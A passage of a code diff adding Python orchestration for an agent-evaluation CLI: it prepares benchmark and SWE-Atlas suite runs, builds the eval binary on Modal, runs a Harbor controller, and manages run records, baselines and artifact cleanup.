+
+
+def prepare_runs_for_benchmarks(
+    args: argparse.Namespace,
+    benchmark_ids: list[str],
+    *,
+    suite_id: str | None,
+    label_for_benchmark,
+    mark_swe_atlas_parts: bool = False,
+) -> list[tuple[str, dict[str, Any], dict[str, Any] | None]]:
+    if not benchmark_ids:
+        raise ValueError("choose at least one benchmark to run")
+
+    build_id, build_request = prepare_shared_build(args)
+    prepared: list[tuple[str, dict[str, Any], dict[str, Any] | None]] = []
+    for index, benchmark_id in enumerate(benchmark_ids):
+        label = label_for_benchmark(benchmark_id)
+        run_request = build_benchmark_run_request(
+            args,
+            benchmark_id=benchmark_id,
+            build_id=build_id,
+            suite_id=suite_id,
+            index=index,
+            run_id_suffix=label,
+        )
+        if (
+            mark_swe_atlas_parts
+            and benchmark_id in benchmarks.SWE_ATLAS_PART_BENCHMARKS.values()
+        ):
+            run_request["suite_part"] = label
+        # Only the first run carries the build_request; launch_prepared_run
+        # dedups the actual spawn via spawned_builds anyway.
+        prepared.append((label, run_request, build_request if index == 0 else None))
+    return prepared
+
+
+def prepare_benchmark_runs(
+    args: argparse.Namespace,
+) -> list[tuple[str, dict[str, Any], dict[str, Any] | None]]:
+    benchmark_ids = benchmarks.resolve_benchmarks(
+        list(getattr(args, "benchmark", None) or [])
+    )
+    return prepare_runs_for_benchmarks(
+        args,
+        benchmark_ids,
+        suite_id=mint_suite_id(args, len(benchmark_ids)),
+        label_for_benchmark=lambda benchmark_id: benchmark_id,
+    )
+
+
+def command_run(args: argparse.Namespace) -> int:
+    return execute_prepared_runs(
+        args,
+        prepare_benchmark_runs(args),
+        benchmark_plan_entry,
+    )
+
+
+def resolve_suite_parts(args: argparse.Namespace) -> list[str]:
+    parts = parse_parts([args.parts] if getattr(args, "parts", None) else [])
+    if parts:
+        return parts
+    raise ValueError(
+        "choose at least one SWE-Atlas part with --parts (e.g. --parts rf,qna or --parts all)"
+    )
+
+
+def suite_plan_entry(
+    part: str, run_request: dict[str, Any], build_request: dict[str, Any] | None
+) -> dict[str, Any]:
+    return {
+        "part": part,
+        **benchmark_plan_entry(
+            run_request["benchmark"]["id"], run_request, build_request
+        ),
+    }
+
+
+def suite_entry_label(benchmark_id: str) -> str:
+    for part, part_benchmark_id in benchmarks.SWE_ATLAS_PART_BENCHMARKS.items():
+        if part_benchmark_id == benchmark_id:
+            return part
+    return benchmark_id
+
+
+def prepare_benchmark_suite(
+    args: argparse.Namespace, selectors: list[str]
+) -> list[tuple[str, dict[str, Any], dict[str, Any] | None]]:
+    benchmark_ids = benchmarks.resolve_benchmarks(selectors)
+    if not benchmark_ids:
+        raise ValueError("choose at least one benchmark to run")
+    if getattr(args, "zed_version", None):
+        args.clean_source = True
+        args.require_clean = True
+    timestamp = utc_timestamp()
+    prefix_seed = args.run_id_prefix or args.experiment_prefix or "swe-atlas"
+    if getattr(args, "zed_version", None):
+        prefix_seed = f"{prefix_seed}-{source.sanitize_namespace(args.zed_version)}"
+    suite_id = args.suite_id or f"{source.sanitize_namespace(prefix_seed)}-{timestamp}"
+
+    return prepare_runs_for_benchmarks(
+        args,
+        benchmark_ids,
+        suite_id=suite_id,
+        label_for_benchmark=suite_entry_label,
+        mark_swe_atlas_parts=True,
+    )
+
+
+def prepare_suite(
+    args: argparse.Namespace,
+) -> list[tuple[str, dict[str, Any], dict[str, Any] | None]]:
+    return prepare_benchmark_suite(args, resolve_suite_parts(args))
+
+
+def command_swe_atlas(args: argparse.Namespace) -> int:
+    from .interactive import configure_interactive_suite
+
+    configure_interactive_suite(args)
+    prepared = (
+        prepare_benchmark_suite(args, args.benchmark)
+        if getattr(args, "benchmark", None)
+        else prepare_suite(args)
+    )
+    return execute_prepared_runs(args, prepared, suite_plan_entry)
diff --git a/crates/eval_cli/zed_eval/modal_app.py b/crates/eval_cli/zed_eval/modal_app.py
new file mode 100644
index 00000000000000..4ba1c478908c65
--- /dev/null
+++ b/crates/eval_cli/zed_eval/modal_app.py
@@ -0,0 +1,1008 @@
+from __future__ import annotations
+
+import hashlib
+import json
+import os
+import pathlib
+import shlex
+import shutil
+import subprocess
+import tarfile
+import time
+import traceback
+import uuid
+from typing import Any
+
+import modal
+
+from . import cleanup, config, harness_command, rejudge, source
+from .common import load_json, safe_extract_archive, utc_now, write_json
+from .source import (
+    BUILD_TARGET,
+    CARGO_ZIGBUILD_VERSION,
+    RUST_IMAGE,
+    RUST_VERSION,
+    ZIG_VERSION,
+    build_toolchain_info,
+)
+
+APP_NAME = os.environ.get("AGENT_EVALS_APP_NAME", "agent-evals")
+VOLUME_NAME = os.environ.get("AGENT_EVALS_VOLUME", "agent-evals")
+MODAL_TOKEN_SECRET_NAME = os.environ.get(
+    "AGENT_EVALS_MODAL_TOKEN_SECRET", "agent-evals-modal-token"
+)
+# LLM-providers secret mounted into the rejudge controller so the in-controller
+# judge proxy can read the judge's API key (e.g. BASETEN_API_KEY) the same way a
+# trial sandbox does. Override at deploy time if the secret is named differently.
+LLM_PROVIDERS_SECRET_NAME = os.environ.get(
+    "AGENT_EVALS_LLM_PROVIDERS_SECRET", config.DEFAULT_LLM_PROVIDERS_SECRET_NAME
+)
+REPO_URL = os.environ.get(
+    "AGENT_EVALS_REPO_URL", "https://github.com/zed-industries/zed.git"
+)
+ZIG_URL = (
+    f"https://ziglang.org/download/{ZIG_VERSION}/zig-x86_64-linux-{ZIG_VERSION}.tar.xz"
+)
+CLEANUP_BUILD_RETENTION_DAYS = float(
+    os.environ.get("AGENT_EVALS_BUILD_RETENTION_DAYS", "14")
+)
+
+app = modal.App(APP_NAME)
+volume = modal.Volume.from_name(VOLUME_NAME, create_if_missing=True)
+
+
+def reload_volume() -> None:
+    try:
+        volume.reload()
+    except Exception:
+        pass
+
+
+build_image = (
+    modal.Image.from_registry(RUST_IMAGE, add_python="3.13")
+    .apt_install("cmake", "build-essential", "curl", "xz-utils", "git")
+    .run_commands(
+        f"rustup toolchain install {RUST_VERSION} --profile minimal"
+        " --component rustfmt --component clippy"
+        " --component rust-analyzer --component rust-src"
+        " --target wasm32-wasip2 --target wasm32-unknown-unknown"
+        " --target x86_64-unknown-linux-musl --target x86_64-unknown-linux-gnu",
+        f"mkdir -p /opt/zig && curl -fsSL {ZIG_URL}"
+        " | tar -xJ -C /opt/zig --strip-components=1"
+        " && ln -s /opt/zig/zig /usr/local/bin/zig",
+        f"cargo install --locked cargo-zigbuild --version {CARGO_ZIGBUILD_VERSION}",
+    )
+)
+
+controller_image = (
+    modal.Image.debian_slim(python_version="3.13")
+    .apt_install("bash", "ca-certificates", "curl", "git", "tar")
+    .pip_install(f"modal=={config.MODAL_VERSION}", "uv")
+    .run_commands(
+        f"uv tool install harbor=={config.HARBOR_VERSION}"
+        f" --with 'modal=={config.MODAL_VERSION}' && "
+        "ln -sf /root/.local/bin/harbor /usr/local/bin/harbor",
+        # Pier is a Harbor fork that adds per-agent network allowlists, required
+        # to run DeepSWE's air-gapped (`allow_internet = false`) tasks while
+        # still letting eval-cli reach the model API. Kept non-fatal so a Pier
+        # install problem can't break the Harbor benchmarks that share this image;
+        # DeepSWE runs surface a clear "pier not found" error at runtime instead.
+        "(uv tool install git+https://github.com/datacurve-ai/pier"
+        f" --with 'modal=={config.MODAL_VERSION}' && "
+        "ln -sf /root/.local/bin/pier /usr/local/bin/pier) || "
+        "echo 'WARNING: pier install failed; DeepSWE runs will not work'",
+    )
+)
+
+
+def provision_benchmark_dataset(run_request: dict[str, Any], log: Any) -> None:
+    """Clone a path-backed benchmark dataset (SWE-Atlas tw, DeepSWE) into the
+    location the harness command expects. Registry datasets need no provisioning;
+    the harness pulls them from its hub."""
+    benchmark = run_request["benchmark"]
+    dataset = benchmark.get("dataset") or {}
+    kind = dataset.get("kind")
+    if kind not in ("path", "pier_path"):
+        return
+
+    repo_url = dataset.get("repo_url")
+    repo_ref = dataset.get("repo_ref") or "main"
+    if not repo_url:
+        raise ValueError(f"benchmark {benchmark['id']} path dataset requires repo_url")
+
+    clone_dir = pathlib.Path(harness_command.dataset_clone_dir(benchmark))
+    if clone_dir.exists():
+        shutil.rmtree(clone_dir)
+    clone_dir.mkdir(parents=True, exist_ok=True)
+    log(f"Fetching {benchmark['id']} dataset {repo_url}@{repo_ref}")
+    subprocess.run(["git", "init", "-q", str(clone_dir)], check=True)
+    subprocess.run(
+        ["git", "fetch", "--depth", "1", repo_url, repo_ref],
+        cwd=clone_dir,
+        check=True,
+    )
+    subprocess.run(["git", "checkout", "-q", "FETCH_HEAD"], cwd=clone_dir, check=True)
+    data_dir = pathlib.Path(harness_command.dataset_path(benchmark))
+    if not data_dir.exists():
+        raise FileNotFoundError(f"benchmark dataset directory not found: {data_dir}")
+
+
+def output_of(command: list[str]) -> str:
+    try:
+        return subprocess.run(
+            command,
+            check=True,
+            capture_output=True,
+            text=True,
+        ).stdout.strip()
+    except subprocess.CalledProcessError as error:
+        return f"unknown ({error})"
+
+
+@app.function(
+    image=build_image,
+    # Right-sized from the original 16 cpu / 32 GB after observing peak usage of
+    # ~10 cores and ~10 GB. ephemeral_disk stays at Modal's 512 GiB floor (the
+    # minimum allowed for a function), so it isn't a tunable here.
+    cpu=12,
+    memory=24576,
+    ephemeral_disk=524288,
+    timeout=7200,
+    volumes={"/data": volume},
+)
+def build_eval_cli(build_request: dict[str, Any]) -> dict[str, Any]:
+    def run(command: str, **kwargs: Any) -> None:
+        print(f"+ {command}", flush=True)
+        subprocess.run(command, shell=True, check=True, **kwargs)
+
+    reload_volume()
+
+    build_id = build_request["build_id"]
+    source_info = build_request.get("source") or {"type": "git_patch"}
+    base_sha = source_info.get("base_sha") or build_request["base_sha"]
+    patch = build_request.get("patch") or ""
+    build_dir = pathlib.Path("/data/builds") / build_id
+    ready_path = build_dir / "READY"
+    binary_path = build_dir / "eval-cli"
+    build_info_path = build_dir / "build-info.json"
+    # The lease lives outside build_dir so it never interferes with the atomic
+    # move of the finished build directory below.
+    building_path = pathlib.Path("/data/build-locks") / f"{build_id}.json"
+    lease_ttl = int(build_request.get("build_wait_timeout_secs") or 7200)
+    owner = uuid.uuid4().hex
+
+    def reuse_existing() -> dict[str, Any]:
+        build_info = load_json(build_info_path) or {}
+        build_info.setdefault("build_id", build_id)
+        build_info["reused"] = True
+        volume.commit()
+        print(f"Reusing existing build {build_id}", flush=True)
+        return build_info
+
+    if ready_path.exists() and binary_path.exists():
+        return reuse_existing()
+    if build_dir.exists():
+        raise RuntimeError(
+            f"build directory already exists but is not ready; refusing to overwrite {build_id}"
+        )
+
+    # Single-flight lease: if another invocation is already compiling this exact
+    # build, wait for it to finish rather than running a second multi-minute
+    # compile. The lease is best-effort (the volume has no atomic compare-and-swap);
+    # the atomic move below still guarantees correctness if two builds slip through.
+    deadline = time.time() + lease_ttl
+    while True:
+        reload_volume()
+        if ready_path.exists() and binary_path.exists():
+            return reuse_existing()
+        if build_dir.exists():
+            raise RuntimeError(
+                f"build directory already exists but is not ready; refusing to overwrite {build_id}"
+            )
+        lease = load_json(building_path)
+        now = time.time()
+        held_by_other = (
+            isinstance(lease, dict)
+            and lease.get("owner") != owner
+            and (now - float(lease.get("epoch") or 0)) < lease_ttl
+        )
+        if held_by_other and time.time() < deadline:
+            print(
+                f"Build {build_id} is being compiled elsewhere; waiting",
+                flush=True,
+            )
+            time.sleep(15)
+            continue
+        break
+    # Claim the lease (write_json creates /data/build-locks). build_dir is
+    # intentionally NOT created here so the atomic move below still works.
+    write_json(building_path, {"owner": owner, "epoch": time.time(), "at": utc_now()})
+    volume.commit()
+
+    rustc_version = output_of(["rustc", "--version"])
+    zig_version = output_of(["zig", "version"])
+    cargo_zigbuild_version = output_of(["cargo-zigbuild", "--version"])
+
+    workdir = pathlib.Path("/build/zed")
+    if workdir.exists():
+        shutil.rmtree(workdir)
+    workdir.mkdir(parents=True, exist_ok=True)
+    os.chdir(workdir)
+
+    repo_url = source_info.get("repo_url") or REPO_URL
+    run("git init -q .")
+    run(f"git fetch --depth 1 {shlex.quote(repo_url)} {shlex.quote(base_sha)}")
+    run("git checkout -q FETCH_HEAD")
+
+    if patch.strip():
+        patch_file = pathlib.Path("/build/source.patch")
+        patch_file.write_text(patch)
+        run(f"git apply --stat {shlex.quote(str(patch_file))}")
+        run(f"git apply {shlex.quote(str(patch_file))}")
+
+    patch_sha256 = source_info.get("patch_sha256")
+
+    run(
+        "cargo zigbuild --release --package eval_cli --target x86_64-unknown-linux-musl"
+    )
+
+    built = workdir / "target/x86_64-unknown-linux-musl/release/eval-cli"
+    run(f"strip {built}")
+    binary_bytes = built.read_bytes()
+    binary_sha256 = hashlib.sha256(binary_bytes).hexdigest()
+
+    temporary_dir = pathlib.Path("/data/tmp/builds") / f"{build_id}-{uuid.uuid4().hex}"
+    temporary_dir.mkdir(parents=True, exist_ok=True)
+    shutil.copy(built, temporary_dir / "eval-cli")
+    (temporary_dir / "eval-cli").chmod(0o755)
+    if patch.strip():
+        (temporary_dir / "source.patch").write_text(patch)
+    write_json(temporary_dir / "source-info.json", source_info)
+
+    build_info = {
+        "build_id": build_id,
+        "base_sha": base_sha,
+        "patch_sha256": patch_sha256,
+        "rustc_version": rustc_version,
+        "zig_version": zig_version,
+        "cargo_zigbuild_version": cargo_zigbuild_version,
+        "built_at_utc": utc_now(),
+        "binary_size_bytes": len(binary_bytes),
+        "binary_sha256": binary_sha256,
+        "target": BUILD_TARGET,
+        "rust_image": RUST_IMAGE,
+        "toolchain": build_toolchain_info(),
+        "source": source_info,
+    }
+    write_json(temporary_dir / "build-info.json", build_info)
+    (temporary_dir / "READY").write_text(utc_now() + "\n")
+
+    if not build_dir.exists():
+        build_dir.parent.mkdir(parents=True, exist_ok=True)
+        shutil.move(str(temporary_dir), str(build_dir))
+    elif ready_path.exists() and binary_path.exists():
+        shutil.rmtree(temporary_dir, ignore_errors=True)
+        build_info = load_json(build_info_path) or build_info
+        build_info["reused_after_race"] = True
+    else:
+        shutil.rmtree(temporary_dir, ignore_errors=True)
+        raise RuntimeError(
+            f"build directory already exists but is not ready; refusing to overwrite {build_id}"
+        )
+
+    # Release the single-flight lease now that READY exists.
+    try:
+        building_path.unlink()
+    except OSError:
+        pass
+    volume.commit()
+    print(f"Committed build {build_id} to volume '{VOLUME_NAME}'", flush=True)
+    return build_info
+
+
+@app.function(
+    image=controller_image,
+    cpu=1,
+    memory=512,
+    timeout=300,
+    volumes={"/data": volume},
+)
+def list_builds(limit: int = 50) -> list[dict[str, Any]]:
+    reload_volume()
+    builds_dir = pathlib.Path("/data/builds")
+    rows = []
+    for build_dir in builds_dir.iterdir() if builds_dir.exists() else []:
+        if not build_dir.is_dir():
+            continue
+        build_info = load_json(build_dir / "build-info.json") or {}
+        ready = (build_dir / "READY").exists() and (build_dir / "eval-cli").exists()
+        rows.append(
+            {
+                "build_id": build_dir.name,
+                "ready": ready,
+                "base_sha": build_info.get("base_sha"),
+                "patch_sha256": build_info.get("patch_sha256"),
+                "built_at_utc": build_info.get("built_at_utc"),
+                "binary_sha256": build_info.get("binary_sha256"),
+                "source": build_info.get("source"),
+            }
+        )
+    rows.sort(key=lambda row: row.get("built_at_utc") or "", reverse=True)
+    return rows[:limit]
+
+
+def run_row(
+    namespace_dir: pathlib.Path, experiment_dir: pathlib.Path, run_dir: pathlib.Path
+) -> dict[str, Any]:
+    state = load_json(run_dir / "state.json") or {}
+    request = load_json(run_dir / "request.json") or {}
+    metadata = load_json(run_dir / "run-metadata.json") or {}
+    summary = load_json(run_dir / "summary.json") or {}
+    benchmark = request.get("benchmark") or metadata.get("benchmark") or {}
+    benchmark_id = benchmark.get("id") if isinstance(benchmark, dict) else None
+    suite_id = request.get("suite_id") or metadata.get("suite_id")
+    return {
+        "namespace": namespace_dir.name,
+        "experiment_name": experiment_dir.name,
+        "run_id": run_dir.name,
+        "status": state.get("status"),
+        "updated_at": state.get("updated_at"),
+        "created_at": metadata.get("created_at")
+        or state.get("created_at")
+        or request.get("created_at"),
+        "agent_model": metadata.get("agent_model"),
+        "judge_preset": metadata.get("judge_preset"),
+        "judge_model": metadata.get("judge_model"),
+        "build_id": metadata.get("build_id") or state.get("build_id"),
+        "trial_count": summary.get("trial_count"),
+        "has_archive": summary.get("has_archive"),
+        "suite_id": suite_id,
+        "part": request.get("suite_part"),
+        "benchmark": benchmark_id,
+    }
+
+
+def scan_runs(
+    *,
+    namespace: str | None = None,
+    experiment_name: str | None = None,
+    suite_id: str | None = None,
+) -> list[dict[str, Any]]:
+    runs_root = pathlib.Path("/data/runs")
+    rows = []
+    if not runs_root.exists():
+        return []
+    namespaces = (
+        [runs_root / namespace] if namespace else [path for path in runs_root.iterdir()]
+    )
+    for namespace_dir in namespaces:
+        if not namespace_dir.is_dir():
+            continue
+        experiments = (
+            [namespace_dir / experiment_name]
+            if experiment_name
+            else [path for path in namespace_dir.iterdir()]
+        )
+        for experiment_dir in experiments:
+            if not experiment_dir.is_dir():
+                continue
+            for run_dir in experiment_dir.iterdir():
+                if not run_dir.is_dir():
+                    continue
+                row = run_row(namespace_dir, experiment_dir, run_dir)
+                if suite_id and row.get("suite_id") != suite_id:
+                    continue
+                rows.append(row)
+    rows.sort(
+        key=lambda row: row.get("updated_at") or row.get("created_at") or "",
+        reverse=True,
+    )
+    return rows
+
+
+@app.function(
+    image=controller_image,
+    cpu=1,
+    memory=512,
+    timeout=300,
+    volumes={"/data": volume},
+)
+def list_runs(
+    namespace: str | None = None,
+    experiment_name: str | None = None,
+    limit: int = 50,
+) -> list[dict[str, Any]]:
+    reload_volume()
+    rows = scan_runs(namespace=namespace, experiment_name=experiment_name)
+    return rows[:limit]
+
+
+def _run_cleanup(
+    *,
+    dry_run: bool,
+    build_retention_days: float | None = None,
+) -> dict[str, Any]:
+    reload_volume()
+    result = cleanup.prune_artifacts(
+        pathlib.Path("/data"),
+        dry_run=dry_run,
+        build_retention_days=(
+            build_retention_days
+            if build_retention_days is not None
+            else CLEANUP_BUILD_RETENTION_DAYS
+        ),
+    )
+    if not dry_run:
+        volume.commit()
+    print(json.dumps(result, indent=2), flush=True)
+    return result
+
+
+@app.function(
+    image=controller_image,
+    cpu=1,
+    memory=2048,
+    timeout=1800,
+    volumes={"/data": volume},
+    schedule=modal.Period(days=1),
+)
+def cleanup_scheduled() -> dict[str, Any]:
+    """Daily prune of stale build artifacts. Never touches eval results."""
+    return _run_cleanup(dry_run=False)
+
+
+@app.function(
+    image=controller_image,
+    cpu=1,
+    memory=2048,
+    timeout=1800,
+    volumes={"/data": volume},
+)
+def cleanup_artifacts(request: dict[str, Any]) -> dict[str, Any]:
+    """On-demand prune (the `zed-eval cleanup` command), supporting --dry-run
+    and retention overrides."""
+    return _run_cleanup(
+        dry_run=bool(request.get("dry_run")),
+        build_retention_days=request.get("build_retention_days"),
+    )
+
+
+@app.function(
+    image=controller_image,
+    cpu=1,
+    memory=512,
+    timeout=300,
+    volumes={"/data": volume},
+)
+def read_run_provenance(
+    namespace: str, experiment_name: str, run_id: str
+) -> dict[str, Any]:
+    """Provenance a baseline record needs for one run: the launch request
+    (model/judge/resources/build_id), the run summary (status), and the build's
+    build-info (base_sha/patch_sha256/source label)."""
+    reload_volume()
+    run_dir = pathlib.Path("/data/runs") / namespace / experiment_name / run_id
+    request = load_json(run_dir / "request.json") or {}
+    summary = load_json(run_dir / "summary.json") or {}
+    metadata = load_json(run_dir / "run-metadata.json") or {}
+    build_id = request.get("build_id") or metadata.get("build_id")
+    build_info: dict[str, Any] = {}
+    if build_id:
+        build_info = (
+            load_json(pathlib.Path("/data/builds") / build_id / "build-info.json") or {}
+        )
+    return {
+        "request": request,
+        "summary": summary,
+        "metadata": metadata,
+        "build_info": build_info,
+    }
+
+
+@app.function(
+    image=controller_image,
+    cpu=1,
+    memory=512,
+    timeout=300,
+    volumes={"/data": volume},
+)
+def record_baseline(record: dict[str, Any]) -> dict[str, Any]:
+    """Write a baseline-of-record keyed by (experiment, model). Supersedes any
+    existing current baseline (archived under history/) and refreshes the
+    discoverable index."""
+    reload_volume()
+    experiment_slug = source.sanitize_namespace(record["experiment"])
+    model_slug = source.sanitize_namespace(record.get("model_slug") or record["model"])
+    base_dir = pathlib.Path("/data/baselines") / experiment_slug / model_slug
+    current_path = base_dir / "current.json"
+
+    existing = load_json(current_path)
+    if existing:
+        previous_sha = source.sanitize_namespace(
+            str(existing.get("base_sha") or "unknown")
+        )
+        write_json(base_dir / "history" / f"{previous_sha}.json", existing)
+
+    payload = {**record, "updated_at": utc_now()}
+    write_json(current_path, payload)
+
+    index_path = pathlib.Path("/data/baselines/index.json")
+    index = load_json(index_path) or {}
+    entries = index.get("baselines")
+    if not isinstance(entries, list):
+        entries = []
+    entries = [
+        entry
+        for entry in entries
+        if not (
+            entry.get("experiment") == record["experiment"]
+            and entry.get("model") == record["model"]
+        )
+    ]
+    entries.append(
+        {
+            "experiment": record["experiment"],
+            "model": record["model"],
+            "base_sha": record.get("base_sha"),
+            "base_ref": record.get("base_ref"),
+            "on_main": record.get("on_main"),
+            "clean": record.get("clean"),
+            "judge": record.get("judge"),
+            "run_id": (record.get("run") or {}).get("run_id"),
+            "recorded_at": record.get("recorded_at"),
+            "path": f"baselines/{experiment_slug}/{model_slug}/current.json",
+        }
+    )
+    entries.sort(
+        key=lambda entry: (entry.get("experiment") or "", entry.get("model") or "")
+    )
+    write_json(index_path, {"baselines": entries})
+    volume.commit()
+    return payload
+
+
+@app.function(
+    image=controller_image,
+    cpu=1,
+    memory=512,
+    timeout=300,
+    volumes={"/data": volume},
+)
+def read_baselines(
+    experiment: str | None = None,
+    model_slug: str | None = None,
+    include_history: bool = False,
+) -> dict[str, Any]:
+    """List all current baselines (no args) or show one (experiment+model_slug),
+    optionally with superseded history."""
+    reload_volume()
+    root = pathlib.Path("/data/baselines")
+    if experiment and model_slug:
+        base_dir = (
+            root
+            / source.sanitize_namespace(experiment)
+            / source.sanitize_namespace(model_slug)
+        )
+        result: dict[str, Any] = {"current": load_json(base_dir / "current.json")}
+        if include_history:
+            history = []
+            history_dir = base_dir / "history"
+            if history_dir.is_dir():
+                for path in sorted(history_dir.glob("*.json")):
+                    entry = load_json(path)
+                    if entry:
+                        history.append(entry)
+            result["history"] = history
+        return result
+    return load_json(root / "index.json") or {"baselines": []}
+
+
+@app.function(
+    image=controller_image,
+    cpu=1,
+    memory=512,
+    timeout=300,
+    volumes={"/data": volume},
+)
+def suite_status(namespace: str, suite_id: str) -> list[dict[str, Any]]:
+    reload_volume()
+    rows = scan_runs(namespace=namespace, suite_id=suite_id)
+    if not rows:
+        raise FileNotFoundError(f"suite not found: {namespace}/{suite_id}")
+    rows.sort(key=lambda row: row.get("created_at") or row.get("run_id") or "")
+    return rows
+
+
+def write_run_inputs(run_dir: pathlib.Path, run_request: dict[str, Any]) -> None:
+    write_json(run_dir / "request.json", run_request)
+    write_json(run_dir / "run-metadata.json", harness_command.run_metadata(run_request))
+    task_names = run_request.get("task_names") or []
+    (run_dir / "selected-tasks.txt").write_text(
+        "\n".join(task_names) + ("\n" if task_names else "")
+    )
+
+
+@app.function(
+    image=controller_image,
+    cpu=1,
+    memory=512,
+    timeout=300,
+    volumes={"/data": volume},
+)
+def create_run_record(run_request: dict[str, Any]) -> dict[str, Any]:
+    namespace = run_request["namespace"]
+    experiment_name = run_request["experiment_name"]
+    run_id = run_request["run_id"]
+    run_dir = pathlib.Path("/data/runs") / namespace / experiment_name / run_id
+    state_path = run_dir / "state.json"
+
+    reload_volume()
+
+    if state_path.exists():
+        raise FileExistsError(
+            f"run record already exists: {namespace}/{experiment_name}/{run_id}"
+        )
+
+    run_dir.mkdir(parents=True, exist_ok=True)
+    write_run_inputs(run_dir, run_request)
+    state = {
+        "run_id": run_id,
+        "namespace": namespace,
+        "experiment_name": experiment_name,
+        "status": "pending",
+        "created_at": run_request.get("created_at"),
+        "updated_at": utc_now(),
+        "build_id": run_request.get("build_id"),
+    }
+    write_json(state_path, state)
+    volume.commit()
+    return state
+
+
+@app.function(
+    image=controller_image,
+    cpu=2,
+    memory=4096,
+    timeout=86_400,
+    volumes={"/data": volume},
+    secrets=[modal.Secret.from_name(MODAL_TOKEN_SECRET_NAME)],
+)
+def run_controller(run_request: dict[str, Any]) -> dict[str, Any]:
+    namespace = run_request["namespace"]
+    experiment_name = run_request["experiment_name"]
+    run_id = run_request["run_id"]
+    run_dir = pathlib.Path("/data/runs") / namespace / experiment_name / run_id
+    run_dir.mkdir(parents=True, exist_ok=True)
+    log_path = run_dir / "controller.log"
+    state_path = run_dir / "state.json"
+    started_at = utc_now()
+
+    def commit() -> None:
+        volume.commit()
+
+    def log(message: str) -> None:
+        line = f"[{utc_now()}] {message}"
+        print(line, flush=True)
+        with log_path.open("a") as log_file:
+            log_file.write(line + "\n")
+
+    def state(status: str, **extra: Any) -> None:
+        payload = {
+            "run_id": run_id,
+            "namespace": namespace,
+            "experiment_name": experiment_name,
+            "status": status,
+            "updated_at": utc_now(),
+            "started_at": started_at,
+            **extra,
+        }
+        write_json(state_path, payload)
+        commit()
+
+    try:
+        write_run_inputs(run_dir, run_request)
+        state("starting", build_id=run_request.get("build_id"))
+        log(f"Starting run {namespace}/{experiment_name}/{run_id}")
+
+        build_id = run_request.get("build_id")
+        if build_id:
+            build_dir = pathlib.Path("/data/builds") / build_id
+            ready_path = build_dir / "READY"
+            build_info_path = build_dir / "build-info.json"
+            source_patch_path = build_dir / "source.patch"
+            source_info_path = build_dir / "source-info.json"
+            state("waiting_for_build", build_id=build_id)
+            deadline = time.time() + int(
+                run_request.get("build_wait_timeout_secs") or 7200
+            )
+            while not ready_path.exists():
+                if time.time() >= deadline:
+                    raise TimeoutError(
+                        f"build {build_id} was not ready before the wait timeout"
+                    )
+                log(f"Waiting for build {build_id} to become ready")
+                time.sleep(30)
+                reload_volume()
+            shutil.copy(build_info_path, run_dir / "build-info.json")
+            if source_patch_path.exists():
+                shutil.copy(source_patch_path, run_dir / "source.patch")
+            if source_info_path.exists():
+                shutil.copy(source_info_path, run_dir / "source-info.json")
+            log(f"Using build {build_id}")
+
+        provision_benchmark_dataset(run_request, log)
+
+        jobs_parent = pathlib.Path("/tmp/agent-evals/harbor-jobs")
+        jobs_parent.mkdir(parents=True, exist_ok=True)
+        command = harness_command.build_harness_command(run_request, str(jobs_parent))
+        redacted = config.redacted_command(command)
+        (run_dir / "harbor-command.txt").write_text(redacted + "\n")
+        state(
+            "running",
+            build_id=build_id,
+            harness_command=redacted,
+        )
+        commit()
+        log("Launching Harbor")
+        log(redacted)
+
+        import zed_eval
+
+        package_file = zed_eval.__file__
+        if package_file is None:
+            raise RuntimeError("could not resolve zed_eval package location")
+        package_parent = str(pathlib.Path(package_file).resolve().parent.parent)
+        environment = os.environ.copy()
+        existing_pythonpath = environment.get("PYTHONPATH")
+        environment["PYTHONPATH"] = (
+            package_parent
+            if not existing_pythonpath
+            else f"{package_parent}:{existing_pythonpath}"
+        )
+
+        process = subprocess.Popen(
+            command,
+            stdout=subprocess.PIPE,
+            stderr=subprocess.STDOUT,
+            text=True,
+            env=environment,
+        )
+        last_commit = time.time()
+        assert process.stdout is not None
+        with log_path.open("a") as log_file:
+            for line in process.stdout:
+                print(line, end="", flush=True)
+                log_file.write(line)
+                if time.time() - last_commit >= 10:
+                    log_file.flush()
+                    commit()
+                    last_commit = time.time()
+        return_code = process.wait()
+        commit()
+        log(f"Harbor exited with status {return_code}")
+
+        job_dir = jobs_parent / run_id
+        archive_path = run_dir / "harbor-job.tar.gz"
+        if job_dir.exists():
+            with tarfile.open(archive_path, "w:gz") as archive:
+                archive.add(job_dir, arcname=job_dir.name)
+            # Count trial dirs by the presence of a trial result.json rather than
+            # a name prefix: Harbor names them `task-<id>__<suffix>` while Pier
+            # uses `<task-id>__<suffix>`.
+            trial_count = sum(
+                1
+                for path in job_dir.iterdir()
+                if path.is_dir() and (path / "result.json").exists()
+            )
+            job_result = load_json(job_dir / "result.json")
+        else:
+            trial_count = 0
+            job_result = None
+            log(f"Harbor job dir was not found at {job_dir}")
+
+        summary = {
+            "run_id": run_id,
+            "namespace": namespace,
+            "experiment_name": experiment_name,
+            "status": "completed" if return_code == 0 else "failed",
+            "harbor_return_code": return_code,
+            "trial_count": trial_count,
+            "has_archive": archive_path.exists(),
+            "job_result": job_result,
+            "started_at": started_at,
+            "completed_at": utc_now(),
+        }
+        write_json(run_dir / "summary.json", summary)
+
+        if return_code == 0:
+            (run_dir / "READY").write_text(utc_now() + "\n")
+            state("completed", summary=summary)
+        else:
+            (run_dir / "FAILED").write_text(utc_now() + "\n")
+            state("failed", summary=summary)
+        commit()
+        return summary
+    except Exception as error:
+        formatted = traceback.format_exc()
+        log(f"FAILED: {error}\n{formatted}")
+        (run_dir / "FAILED").write_text(utc_now() + "\n")
+        state("failed", error=str(error), traceback=formatted)
+        commit()
+        raise
+
+
+def rejudge_run_metadata(rejudge_request: dict[str, Any]) -> dict[str, Any]:
+    judge = config.get_judge(rejudge_request["judge_preset"])
+    parent = rejudge_request["parent"]
+    return {
+        "kind": "rejudge",
+        "run_id": rejudge_request["run_id"],
+        "namespace": rejudge_request["namespace"],
+        "experiment_name": rejudge_request["experiment_name"],
+        "source_run": parent,
+        "judge_preset": rejudge_request["judge_preset"],
+        "judge_model": rejudge_request.get("judge_model") or judge.model,
+        "judge_upstream": judge.upstream,
+        "judge_auth_env": judge.auth_env,
+        "orchestration": config.orchestration_info(),
+        "volume_name": rejudge_request["volume_name"],
+        "api_secret_name": rejudge_request.get("api_secret_name"),
+        "created_at": rejudge_request.get("created_at"),
+    }
+
+
+@app.function(
+    image=controller_image,
+    cpu=2,
+    memory=4096,
+    timeout=86_400,
+    volumes={"/data": volume},
+    secrets=[
